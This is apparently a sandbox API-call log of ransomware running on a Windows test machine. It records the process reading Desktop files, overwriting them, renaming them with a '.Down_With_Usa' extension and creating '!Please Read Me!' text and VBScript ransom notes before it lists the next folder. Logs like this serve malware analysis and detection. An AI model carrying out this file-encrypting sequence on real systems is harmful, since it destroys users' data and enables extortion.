[0114.961] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x864c
[0114.961] ReadFile (in: hFile=0x3a8, lpBuffer=0x261b570, nNumberOfBytesToRead=0x864c, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x261b570*, lpNumberOfBytesRead=0x2eb8d8*=0x864c, lpOverlapped=0x0) returned 1
[0114.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav", lpFilePart=0x0) returned 0x4b
[0114.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0114.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\hk_3yztfn67fexi.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0114.999] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav", lpFilePart=0x0) returned 0x4b
[0114.999] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav.Down_With_Usa", lpFilePart=0x0) returned 0x59
[0114.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0114.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\hk_3yztfn67fexi.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75655e0, ftCreationTime.dwHighDateTime=0x1d5d7c7, ftLastAccessTime.dwLowDateTime=0x613dbf20, ftLastAccessTime.dwHighDateTime=0x1d5e2cc, ftLastWriteTime.dwLowDateTime=0x21081c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8650)) returned 1
[0115.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0115.000] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\hk_3yztfn67fexi.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\hk_3yztfn67fexi.wav.down_with_usa")) returned 1
[0115.001] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf", lpFilePart=0x0) returned 0x44
[0115.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0115.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\nwlijoxs.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0115.002] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xcddc
[0115.002] ReadFile (in: hFile=0x3a8, lpBuffer=0x2739b10, nNumberOfBytesToRead=0xcddc, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2739b10*, lpNumberOfBytesRead=0x2eb8d8*=0xcddc, lpOverlapped=0x0) returned 1
[0115.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf", lpFilePart=0x0) returned 0x44
[0115.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0115.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\nwlijoxs.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0115.041] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf", lpFilePart=0x0) returned 0x44
[0115.041] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf.Down_With_Usa", lpFilePart=0x0) returned 0x52
[0115.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0115.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\nwlijoxs.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fcf330, ftCreationTime.dwHighDateTime=0x1d5de52, ftLastAccessTime.dwLowDateTime=0x78fee030, ftLastAccessTime.dwHighDateTime=0x1d5e425, ftLastWriteTime.dwLowDateTime=0x210cdf20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcde0)) returned 1
[0115.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0115.041] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\nwlijoxs.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\NwlIJoXs.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\nwlijoxs.swf.down_with_usa")) returned 1
[0115.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx", lpFilePart=0x0) returned 0x4d
[0115.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0115.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\qkxy72ezzbiywx-d.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0115.043] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xbaf3
[0115.043] ReadFile (in: hFile=0x3a8, lpBuffer=0x2666590, nNumberOfBytesToRead=0xbaf3, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2666590*, lpNumberOfBytesRead=0x2eb8d8*=0xbaf3, lpOverlapped=0x0) returned 1
[0115.099] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx", lpFilePart=0x0) returned 0x4d
[0115.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0115.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\qkxy72ezzbiywx-d.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0115.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx", lpFilePart=0x0) returned 0x4d
[0115.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx.Down_With_Usa", lpFilePart=0x0) returned 0x5b
[0115.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0115.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\qkxy72ezzbiywx-d.docx"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b25aa0, ftCreationTime.dwHighDateTime=0x1d5dead, ftLastAccessTime.dwLowDateTime=0x940865a0, ftLastAccessTime.dwHighDateTime=0x1d5e4a6, ftLastWriteTime.dwLowDateTime=0x211664a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xbb00)) returned 1
[0115.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0115.105] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\qkxy72ezzbiywx-d.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\qkXY72EZzbIYwx-D.docx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\qkxy72ezzbiywx-d.docx.down_with_usa")) returned 1
[0115.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0115.108] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0115.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0115.108] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0115.108] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0115.108] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0115.108] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0115.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0115.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0115.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4c
[0115.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0115.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0115.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0115.121] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4c
[0115.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0115.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0115.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0115.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0115.124] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0115.124] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", lpFilePart=0x0) returned 0x32
[0115.124] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xd383c7a0, ftLastAccessTime.dwHighDateTime=0x1d5df34, ftLastWriteTime.dwLowDateTime=0xd383c7a0, ftLastWriteTime.dwHighDateTime=0x1d5df34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0115.124] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xd383c7a0, ftLastAccessTime.dwHighDateTime=0x1d5df34, ftLastWriteTime.dwLowDateTime=0xd383c7a0, ftLastWriteTime.dwHighDateTime=0x1d5df34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.125] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf3c30, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0xefe524f0, ftLastAccessTime.dwHighDateTime=0x1d5dbd0, ftLastWriteTime.dwLowDateTime=0xefe524f0, ftLastWriteTime.dwHighDateTime=0x1d5dbd0, nFileSizeHigh=0x0, nFileSizeLow=0x377c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLBVM9lJqMC7h.pptx", cAlternateFileName="KLBVM9~1.PPT")) returned 1
[0115.125] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x284cd750, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x284cd750, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="p_nER27OkTqJ", cAlternateFileName="P_NER2~1")) returned 1
[0115.125] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869b4b0, ftCreationTime.dwHighDateTime=0x1d5e59c, ftLastAccessTime.dwLowDateTime=0x50386e00, ftLastAccessTime.dwHighDateTime=0x1d5e51f, ftLastWriteTime.dwLowDateTime=0x50386e00, ftLastWriteTime.dwHighDateTime=0x1d5e51f, nFileSizeHigh=0x0, nFileSizeLow=0x140cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="yJgzLJgypNdYc-.wav", cAlternateFileName="YJGZLJ~1.WAV")) returned 1
[0115.125] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x237d7fe0, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x49fc79f0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0x49fc79f0, ftLastWriteTime.dwHighDateTime=0x1d5d903, nFileSizeHigh=0x0, nFileSizeLow=0x6861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1JCY2.bmp", cAlternateFileName="")) returned 1
[0115.125] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0115.126] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0115.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0115.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0115.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0115.126] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0115.126] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", lpFilePart=0x0) returned 0x32
[0115.126] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xd383c7a0, ftLastAccessTime.dwHighDateTime=0x1d5df34, ftLastWriteTime.dwLowDateTime=0xd383c7a0, ftLastWriteTime.dwHighDateTime=0x1d5df34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0115.126] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xd383c7a0, ftLastAccessTime.dwHighDateTime=0x1d5df34, ftLastWriteTime.dwLowDateTime=0xd383c7a0, ftLastWriteTime.dwHighDateTime=0x1d5df34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.127] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf3c30, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0xefe524f0, ftLastAccessTime.dwHighDateTime=0x1d5dbd0, ftLastWriteTime.dwLowDateTime=0xefe524f0, ftLastWriteTime.dwHighDateTime=0x1d5dbd0, nFileSizeHigh=0x0, nFileSizeLow=0x377c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLBVM9lJqMC7h.pptx", cAlternateFileName="KLBVM9~1.PPT")) returned 1
[0115.127] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x284cd750, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x284cd750, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="p_nER27OkTqJ", cAlternateFileName="P_NER2~1")) returned 1
